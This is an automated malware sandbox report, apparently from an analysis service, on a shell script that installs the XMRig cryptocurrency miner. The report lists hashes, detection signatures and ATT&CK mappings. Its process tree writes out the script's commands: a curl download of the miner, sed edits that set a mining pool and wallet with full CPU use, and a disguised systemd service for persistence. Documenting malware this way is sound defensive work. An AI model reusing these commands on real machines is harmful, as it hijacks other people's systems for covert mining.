Analysis

  • max time kernel
    3s
  • max time network
    1050s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:28

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1390
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1393
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1395
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1398
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1404
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1410
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1411
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1412
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1412
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1412
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1412
                      • /usr/bin/rm
                        rm /tmp/xmrig.tar.gz
                        2⤵
                          PID:1413
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                          • Reads runtime system information
                          PID:1414
                        • /root/lampp/xmrig
                          /root/lampp/xmrig --help
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:1415
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                          • Reads runtime system information
                          PID:1420
                        • /usr/bin/cut
                          cut -f1 -d.
                          2⤵
                            PID:1419
                          • /usr/bin/hostname
                            hostname
                            2⤵
                              PID:1418
                            • /usr/bin/sed
                              sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                              2⤵
                              • Reads runtime system information
                              PID:1421
                            • /usr/bin/sed
                              sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                              2⤵
                              • Reads runtime system information
                              PID:1422
                            • /usr/bin/sed
                              sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240611-en-15\",/" /root/lampp/config.json
                              2⤵
                                PID:1423
                              • /usr/bin/sed
                                sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                2⤵
                                  PID:1424
                                • /usr/bin/sed
                                  sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                  2⤵
                                    PID:1425
                                  • /usr/bin/sed
                                    sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                    2⤵
                                      PID:1426
                                    • /usr/bin/sed
                                      sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                      2⤵
                                        PID:1427
                                      • /usr/bin/cp
                                        cp /root/lampp/config.json /root/lampp/config_background.json
                                        2⤵
                                          PID:1428
                                        • /usr/bin/sed
                                          sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                          2⤵
                                            PID:1429
                                          • /usr/bin/cat
                                            cat
                                            2⤵
                                              PID:1430
                                            • /usr/bin/chmod
                                              chmod +x /root/lampp/miner.sh
                                              2⤵
                                                PID:1431
                                              • /usr/bin/sudo
                                                sudo -n true
                                                2⤵
                                                  PID:1432
                                                  • /usr/bin/true
                                                    true
                                                    3⤵
                                                      PID:1433
                                                  • /usr/bin/awk
                                                    awk "{print \$2}"
                                                    2⤵
                                                      PID:1436
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                        PID:1435
                                                      • /usr/bin/cat
                                                        cat
                                                        2⤵
                                                          PID:1437
                                                        • /usr/bin/sudo
                                                          sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1438
                                                          • /usr/bin/mv
                                                            mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            3⤵
                                                              PID:1441
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1443
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1449
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1455
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1461
                                                          • /usr/bin/sudo
                                                            sudo systemctl enable lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1505
                                                            • /usr/bin/systemctl
                                                              systemctl enable lampp.service
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              PID:1506
                                                          • /usr/bin/sudo
                                                            sudo systemctl start lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1548
                                                            • /usr/bin/systemctl
                                                              systemctl start lampp.service
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1549

                                                        Network

                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                        Defense Evasion

                                                        Virtualization/Sandbox Evasion

                                                        2
                                                        T1497

                                                        Discovery

                                                        Virtualization/Sandbox Evasion

                                                        2
                                                        T1497

                                                        System Information Discovery

                                                        3
                                                        T1082

                                                        Command and Control

                                                        Web Service

                                                        1
                                                        T1102

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • /root/lampp/config.json
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          f3294129e6b76283965ad86a815bf383

                                                          SHA1

                                                          5fe0ab538f86962efe82cb13fc2da745610740af

                                                          SHA256

                                                          578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                          SHA512

                                                          07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                        • /root/lampp/sed4bg5pJ
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          8b11b027dd187104473ee7d661ffe25f

                                                          SHA1

                                                          ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                          SHA256

                                                          984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                          SHA512

                                                          1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                        • /root/lampp/sed8loxSf
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          f5ce50d0222c535f2e9f763e6c98baa3

                                                          SHA1

                                                          6b4d20487133c95856616c962794170d64d23c31

                                                          SHA256

                                                          3dc1cb5253ff5c1d27ec37c42d987cd44d802865636869eadef9e74767b096df

                                                          SHA512

                                                          374dd854d629e7d2e7c341d2823b01edbb2ff8b4e8741d8c475a1b9cb7dfdba7986001f473cf46ea2f3350501595e9c79123c9139f04d860fd93a8e34c37b4a2

                                                        • /root/lampp/sedBX1i5B
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          d489ddbbb83271e967b8af615d17d3c7

                                                          SHA1

                                                          f0394a367a60e9727269882154098dec802774ef

                                                          SHA256

                                                          5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                          SHA512

                                                          aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                        • /root/lampp/sedQsBizL
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          4d9a25ea590768b540652f03b337cd17

                                                          SHA1

                                                          352e1c64ddff19ed5dedd72f129da1baf87699ab

                                                          SHA256

                                                          9ac9a6211da1aa62ffcb5f19b313459c0bc645a65446ee5bae3fd4dcf9ec41d6

                                                          SHA512

                                                          bcb448b95e1d805babdb4b22647723d59a768c20197d060def3bdae0c800bd832cbbb5e094fdd3c536d9f00cd15cf354aebdad2e1d17d6be593612f5426e7aba

                                                        • /root/lampp/seddmgK9Z
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          a8aed81c6c430e3e1f62a00204a68a00

                                                          SHA1

                                                          511faee2ef791bf0639a107fb3c833d0838b26e1

                                                          SHA256

                                                          f900b3ca45bf30555591af87d62c0756a74564f174751651797dad57cdcfe3ef

                                                          SHA512

                                                          f2cf86072ca204fdfec3a2185ab9d0761eb8d87d72fea1a56c42064e6485a101b90d688fff46927459993f825f74dd5fe26982d779089d84a178cebbab70aae1

                                                        • /root/lampp/sedtt1Ch7
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          5e0b242a0f53a5e8ce78ea8e43f36bed

                                                          SHA1

                                                          3051abe7ba3b90a0731b3da154dee8e50ffe4611

                                                          SHA256

                                                          77378fd63631bda2ce7b99f939a9a0f6f4e4e891cb0b2eaa925243f8cca028e6

                                                          SHA512

                                                          3b0ce39f3db2e3cbbd1bec54de18b9d5d72547286369d282701a5818963b1b96c60c9dcc0cfff384a1489e5e57892993d5cc59704def50fda86eec696e0bcbfb

                                                        • /root/lampp/xmrig
                                                          Filesize

                                                          8.4MB

                                                          MD5

                                                          e6b2f9d13d45c128b44cb5405df9ab39

                                                          SHA1

                                                          c07326f69240e3d22d134d156528af3bd5d0497b

                                                          SHA256

                                                          96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

                                                          SHA512

                                                          4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

                                                        • /tmp/lampp.service
                                                          Filesize

                                                          177B

                                                          MD5

                                                          540c899b78585827e807a62f7345eaf5

                                                          SHA1

                                                          8bf3146889c6b15811f226bff9fbca24d184eff2

                                                          SHA256

                                                          b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                          SHA512

                                                          0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                        • /tmp/sh-thd.BB6LDi
                                                          Filesize

                                                          253B

                                                          MD5

                                                          f96a321a262287ceae164f23f232ed9c

                                                          SHA1

                                                          d1eeab41f244b42377afd7cc3de7428736162b24

                                                          SHA256

                                                          f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                          SHA512

                                                          75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                        • /tmp/xmrig.tar.gz
                                                          Filesize

                                                          3.4MB

                                                          MD5

                                                          e003a3ec8bdd61151a61cadf950502c4

                                                          SHA1

                                                          2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                          SHA256

                                                          80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                          SHA512

                                                          ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9